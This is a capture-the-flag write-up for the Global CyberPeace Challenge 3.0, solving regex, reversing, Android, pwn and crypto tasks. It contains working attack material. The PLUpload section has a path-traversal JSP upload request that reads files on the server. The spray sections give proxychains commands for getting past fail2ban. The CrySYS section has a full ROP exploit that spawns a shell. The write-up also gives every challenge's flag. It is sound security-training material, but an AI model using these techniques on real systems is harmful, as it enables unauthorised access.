--- tags: Writeup --- # Global CyberPeace Challenge 3.0 ## Regexp Challenge We just need to craft manually our regex per level - Level 1 - `\d{8}\D{1}` - Level 2 - `^[1,2,3,4,8,9]\D{1}` - Level 3 - `\d{8}[A]{1}` - Level 4 - `7{7,}[A]` - Level 5 - `.*A` - Level 6 - `\d*A` - Level 7 - `\d*\D` - Level 8 - `\d*[c,h,W,A]` - Level 9 - `[^-]+` - Level 10 - `\D{1}-{1}\d{6}\D` - Level 11 - `\D{1}-{1}\d{3,5}\D` - Level 12 - `\D{1}(-|\+){1}\d{6}\D` - Level 13 - `\d{2}\D?\d{5}\D` - Level 14 - `\d{2}\D?\d{1,3}\D` - Level 15 - `((\D\+\d{4,6}\D)|(\D-\d{4}\D))` ![](https://i.imgur.com/s6HIwQF.png) > Flag: HL{RegExp-Tyc00n-91234} ## License Key Level 1 Serial key was found in this verify function ![](https://i.imgur.com/9rnmPs1.png) > Flag: SYIOKLELUIOD ## License Key Level 2 The calculated serial was printed in the terminal, so we can simply use it as the flag. ![](https://i.imgur.com/Eql3bup.png) > Flag: LBQXULNJPXDE ## License Key Level 3 Checking the disassembly code ![](https://i.imgur.com/m2exSD6.png) *From the above image, we found the key* ![](https://i.imgur.com/LjvB31F.png) *From the above image, we found the logic to generate the serial* Just translate it to python ```python= key = b'yrtxgfh;olmn' name = b'cyberpeace' serial = '' for i in range(12): serial += chr(((key[(i*2) % 12]^name[i % len(name)]) << 2) % 0x19 + ord('B')) print(serial) ``` > Flag: FDVDRRNKRDYG ## License Key Level 4 After reading the disassembly code, we know that the serial char comparison happen in this address ![](https://i.imgur.com/AlN45NT.png) ``` 40752d: 44 38 2c 18 cmp BYTE PTR [rax+rbx*1],r13b ``` With the help of GDB, we can simply set breakpoint on it, and retrieve the r13 value. We got our serial key after retrieving the r13 value 12 times. ![](https://i.imgur.com/U7UlzGH.png) > Flag: GEIJBLDJDECA ## PLUpload I try to check `/examples` folder, and found out that this uses Apache Tomcat. After playing it for a while (especially on the upload feature), I notice that the upload feature doesn't sanitize `../`, which mean we can freely upload the file to any directories. Also inside the examples folder there are a lot of jsp file example that got executed. My solution is to upload a jsp file to the examples folder path (`/examples/jsp/jsp2/el`) where the jsp file will open `/var/gold.txt` file contents. Below is the jsp file ```java= <%@page import="java.io.FileInputStream"%> <%@page import="java.io.File"%> <%@page import="java.io.InputStreamReader"%> <%@page import="java.net.URL"%> <%@page import="java.io.FileReader"%> <%@page import="java.io.BufferedReader"%> <%@page contentType="text/html" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Read Text</title> </head> <body> <% String txtFilePath = "/var/gold.txt"; BufferedReader reader = new BufferedReader(new FileReader(txtFilePath)); StringBuilder sb = new StringBuilder(); String line; while((line = reader.readLine())!= null){ sb.append(line+"\n"); } out.println(sb.toString()); %> </body> </html> ``` Below is the upload request that I use to upload the jsp file to `../../examples/jsp/jsp2/el/cho.jsp` ``` POST //upload HTTP/1.1 Host: e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------34999802810414628822789368601 Content-Length: 1479 Origin: https://e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land Connection: close Referer: https://e95ca4f3-a493-4192-802e-7af99f4262bc.idocker.vuln.land/ Cookie: JSESSIONID=6E2119D7A2763AC0C88B4888A10C0E8B Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------34999802810414628822789368601 Content-Disposition: form-data; name="name" ../../examples/jsp/jsp2/el/cho.jsp -----------------------------34999802810414628822789368601 Content-Disposition: form-data; name="chunk" 0 -----------------------------34999802810414628822789368601 Content-Disposition: form-data; name="chunks" 1 -----------------------------34999802810414628822789368601 Content-Disposition: form-data; name="file"; filename="cho.jsp" Content-Type: application/octet-stream <%@page import="java.io.FileInputStream"%> <%@page import="java.io.File"%> <%@page import="java.io.InputStreamReader"%> <%@page import="java.net.URL"%> <%@page import="java.io.FileReader"%> <%@page import="java.io.BufferedReader"%> <%@page contentType="text/html" pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Read Text</title> </head> <body> <% String txtFilePath = "/var/gold.txt"; BufferedReader reader = new BufferedReader(new FileReader(txtFilePath)); StringBuilder sb = new StringBuilder(); String line; while((line = reader.readLine())!= null){ sb.append(line+"\n"); } out.println(sb.toString()); %> </body> </html> -----------------------------34999802810414628822789368601-- ``` After upload it, we can simply open the file ![](https://i.imgur.com/a0sHb0o.png) > Flag: New is always better. - Barney Stinson ## CTF Spray Attack SSH With the help of proxychains, we can dynamically change our ip to bypass the fail2ban. Command that I used: ```bash= proxychains sshpass -p 93370760 ssh -o StrictHostKeyChecking=no user_100283@pwspray.vm.vuln.land -p 22 ``` ![](https://i.imgur.com/mT0j5pe.png) ## CTF Spray Attack HTTP With the help of proxychains, we can dynamically change our ip to bypass the fail2ban. Command that I used: ```bash= proxychains curl --user user_140244:6ed42dd7 http://pwspray.vm.vuln.land -v ``` ![](https://i.imgur.com/e3Yuq6D.png) ## Crack me Android I got an apk file, and I try to decompile it with the help of JDK. After reading the result I found the login code in the LoginViewModel. ```java= public void login(String str) { if (checkHooking()) { this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.must_not_hook))); return; } try { int[] checkPw = checkPw(getCode(str)); if (checkPw.length > 0) { this.loginResult.setValue(new LoginResult(new LoggedInUser(getStringFromCode(checkPw), "Well done you did it."))); } else { this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.login_failed))); } } catch (Exception unused) { this.loginResult.setValue(new LoginResult(Integer.valueOf((int) R.string.error_logging_in))); } } protected static int[] x0 = {121, 134, 239, 213, 16, 28, 184, 101, 150, 60, 170, 49, 159, 189, 241, 146, 141, 22, 205, 223, 218, 210, 99, 219, 34, 84, 156, 237, 26, 94, 178, 230, 27, 180, 72, 32, 102, 192, 178, 234, 228, 38, 37, 142, 242, 142, 133, 159, 142, 33}; protected int[] getCode(String str) { byte[] bytes = str.getBytes(); int[] iArr = new int[str.length()]; for (int i = 0; i < str.length(); i++) { iArr[i] = bytes[i] ^ x0[i]; } return iArr; } ``` Basically, what it do is our password will be xor-ed with the `x0` var, and then the result will be passed to native method called `checkPw` I extract the native lib so file, and open it on Ghidra. With the help of JNIAnalyzer, I could deduce the password checker that was used in the `checkPw` method. ```c= jintArray Java_org_bfe_crackmenative_ui_LoginViewModel_checkPw (JNIEnv *env,jobject thiz,jintArray password) { bool bVar1; bool bVar2; jintArray new_arr; jsize password_length; FILE *__stream; char *pcVar3; jint *curr_char_pass; char expected_char; long idx; jintArray new_arr5; long in_FS_OFFSET; char local_1038 [4096]; long local_38; local_38 = *(long *)(in_FS_OFFSET + 0x28); __android_log_write(4,"Native Check","Checking password ..."); new_arr = (*(*env)->NewIntArray)(env,0); password_length = (*(*env)->GetArrayLength)(env,password); new_arr5 = new_arr; if ((int)password_length == 27) { __stream = fopen("/proc/self/maps","r"); do { pcVar3 = fgets(local_1038,0x1000,__stream); if (pcVar3 == (char *)0x0) { bVar1 = false; bVar2 = bVar1; if (__stream == (FILE *)0x0) goto LAB_001009f9; goto LAB_001009f1; } pcVar3 = strstr(local_1038,"Xposed"); bVar1 = true; } while ((pcVar3 == (char *)0x0) && (pcVar3 = strstr(local_1038,"frida"), pcVar3 == (char *)0x0) ); bVar2 = true; if (__stream != (FILE *)0x0) { LAB_001009f1: bVar1 = bVar2; fclose(__stream); } LAB_001009f9: if (!bVar1) { idx = 0; curr_char_pass = (*(*env)->GetIntArrayElements)(env,password,(jboolean *)0x0); for (_expected_char = &DAT_00100c8c; ((new_arr5 = new_arr, ((&DAT_00100b20)[idx] ^ *(uint *)((long)curr_char_pass + idx * 4) ^ *_expected_char) == (&DAT_00100cc0)[idx] && (new_arr5 = password, idx != 26)) && (new_arr5 = new_arr, ((&DAT_00100b24)[idx] ^ *(uint *)((long)curr_char_pass + idx * 4 + 4) ^ _expected_char[-1] ) == (&DAT_00100cc4)[idx])); _expected_char = _expected_char + -2) { idx = idx + 2; } } } if (*(long *)(in_FS_OFFSET + 0x28) != local_38) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return new_arr5; } ``` Reading the code, we know that the password length is 27, and the native lib have three different keys in the native (`key_a` which is `DAT_00100b20`, `key_b` which is `DAT_00100c8c` and `key_c` which is `DAT_00100cc0` ). What it do is `input[i] ^ key_a[i] ^ key_b[-i] = key_c[i]` And merging with the Login logic, the final operation would be `password[i] ^ x0[i] ^ key_a[i] ^ key_b[-i] = key_c[i]` So to generate the password (which is the flag), we just need to do: `password[i] = x0[i] ^ key_a[i] ^ key_b[-i] ^ key_c[i]` Full code: ```python= key_a = b'\xd0\x45\x28\x76\x6f\xf3\x5a\xf4\xc7\xce\xfb\xc3\x7f\x48\xce\x3c\x3a\x0b\xf1\x53\xb1\x4b\xb9\x5e\xa2\x65\x77' key_b = b'\x4c\x7b\x73\x6f\x72\x72\x79\x2e\x74\x68\x69\x73\x2e\x69\x73\x2e\x4e\x4f\x54\x2e\x74\x68\x65\x2e\x66\x6c\x61' key_c = b'\x80\xe3\xda\xc7\x2e\xf1\xa2\x91\x6b\xdc\x6b\xb5\xe5\xaf\x3f\xb9\xee\x5b\x26\x92\x66\xc5\xcb\xde\x81\x79\xda' x0 = [121, 134, 239, 213, 16, 28, 184, 101, 150, 60, 170, 49, 159, 189, 241, 146, 141, 22, 205, 223, 218, 210, 99, 219, 34, 84, 156, 237, 26, 94, 178, 230, 27, 180, 72, 32, 102, 192, 178, 234, 228, 38, 37, 142, 242, 142, 133, 159, 142, 33] flag = '' for i in range(27): flag += chr(key_a[i]^key_b[-(i+1)]^key_c[i]^x0[i]) print(f'Flag: {flag}') ``` > Flag: HL{J4v4.nativ3.d0.n0t.c4r3} ## CrySYS We were given a binary that is pretty short ```c= #include <stdio.h> #include <unistd.h> //gcc -o challenge -no-pie -fno-stack-protector challenges.c //LD_PRELOAD=./libc-2.27.so ./ld-2.27.so ./challenge int not_vulnerable(){ char buf[80]; return read(0, buf, 0x1000); } int main(){ not_vulnerable(); return 0; } ``` There is a buffer overflow vulnerability. Because the plt only contains read, we need to do partial overwrite (1 byte) to the read_got value so that we can execute `syscall`. The idea to gain the shell is: - Overwrite RIP to read_plt - Overwrite read_got to syscall with read (1 last byte) - Rax = 1, If we call read_plt (which now is syscall), we can leak the got address and retrieve the libc base address - Set rax to 0 - Syscall read again to load our second payload into .bss (Second payload will execute system("/bin/sh")) - Set rsp to the .bss - Pop "/bin/sh" to rdi - Ret to system Below is my full payload ```python= from pwn import * context.arch = 'amd64' context.encoding = 'latin' context.log_level = 'INFO' warnings.simplefilter("ignore") # Chosen BSS bss = 0x00601030+0x400 # readelf -s libc-2.27.so | grep "read" = 0x0000000000110070 # I choose to redirect it to directly syscall inside read (read+15) read_offset = 0x000000000011007f read_plt = 0x00000000004003f0 read_got = 0x601018 syscall = read_plt # We will overwrite read_got to syscall, so basically syscall = read_plt # ROPGadget result pop_rdi = 0x0000000000400583 # pop rdi ; ret pop_rsi_r15 = 0x0000000000400581 # pop rsi ; pop r15 ; ret pop_rsp = 0x000000000040057d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret mov_eax_0_pop_rbp = 0x0000000000400515 # mov eax, 0 ; pop rbp ; ret ret_address = 0x00000000004003de # ret libc = ELF('./libc-2.27.so') r = process('./crySYS_patched') # Load stage 2 rop payload = b'a'*80 payload += p64(bss) payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) payload += p64(read_plt) # Overwrite 1 bytes, rax == 1 payload += p64(pop_rdi) + p64(1) payload += p64(syscall) # rax == 1 == write(1, got_addr) payload += p64(mov_eax_0_pop_rbp) + p64(bss+72) # Set rax to 0 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15) + p64(bss) + p64(0) payload += p64(syscall) # read(0, bss) payload += p64(pop_rsp) + p64(bss) # Set rsp to bss sleep(1) r.sendline(payload) log.info('Payload sent...') sleep(1) # Overwrite 1 byte of read_got by syscall inside read r.send(b'\x7f') log.info('Overwrite read got...') sleep(1) # After leaking the address, call system() leak_syscall_address = u64(r.recvn(8)) libc.address = leak_syscall_address - read_offset log.info(f'Leaked syscall address: {hex(leak_syscall_address)}') log.info(f'Leaked libc address: {hex(libc.address)}') # Craft payload to call system('/bin/sh') bin_sh_string_addr = next(libc.search(b'/bin/sh')) payload_3 = p64(0) + p64(0) + p64(0) payload_3 += p64(pop_rdi) + p64(bin_sh_string_addr) payload_3 += p64(ret_address) # https://stackoverflow.com/questions/60729616/segfault-in-ret2libc-attack-but-not-hardcoded-system-call payload_3 += p64(libc.symbols['system']) + p64(0) # Call system sleep(1) r.send(payload_3) log.info('Call system("/bin/sh")...') r.interactive() ``` ![](https://i.imgur.com/aUb2CRl.png) > Flag: HL{PPPwned-7165-4679-8c39-cf7633bdf81b} ## IDBased1 After checking with the given ciphertexts consist of encrypted message of 'This is the test message number x', there is a collision between the ciphertexts CEO and the test ciphertexts CEO ciphertexts: ``` (48589388807824569428904895217595930284742776679758376879158603177028397294637208100498204082285088554469912630884992811058648356701793719253927209526856391255958203708765937470965113379063164783112790458526467722720510441287344375068385945897745788289000831021749963218399056946672933810712728531356131069075, 91666678461349391408393081333148703690518650210973716238555488161769616574067974692422855852226270111041696008098903109570179474889001701370982766256913315456108459222753446063832634368831212498249621216114532831173942748910271298860729376114971648924546503909862899046327681305300267651777702160513672803461), 4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v ``` One of the test ciphertexts: ``` (48589388807824569428904895217595930284742776679758376879158603177028397294637208100498204082285088554469912630884992811058648356701793719253927209526856391255958203708765937470965113379063164783112790458526467722720510441287344375068385945897745788289000831021749963218399056946672933810712728531356131069075, 91666678461349391408393081333148703690518650210973716238555488161769616574067974692422855852226270111041696008098903109570179474889001701370982766256913315456108459222753446063832634368831212498249621216114532831173942748910271298860729376114971648924546503909862899046327681305300267651777702160513672803461), 7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc ``` BasicIdent ciphertext is like below: ``` v = m xor H2(gID**r) ``` Because the $rP$ value is the same, we could know that the $H2(g_{ID}^r)$ value of the ceo and the test cipher texts have the same value, which mean ``` ceo_v = b64decode('4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v') test_v = b64decode('7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc') ceo_msg = test_v^b'This is the message number'^ceo_v ``` Full Script: ```python= from pwn import * import base64 ceo_v = base64.b64decode('4LXZeMmDX9bXWxTmFF4oimniK0Sq39kURG4v') flag_len = len(ceo_v) test_v = base64.b64decode('7ZP/X9jSV7SXdzPyJHlvuhu7AHOW8/A0UTUnlUL+URbc') test_msg = b'This is the test message number' flag = xor(xor(test_v[:flag_len], test_msg[:flag_len]), ceo_v) print(f'Flag: {flag.decode()}') ``` We successfully retrieve the flag > Flag: YNOT18{B4DB4DB4DR4NDOMNE55}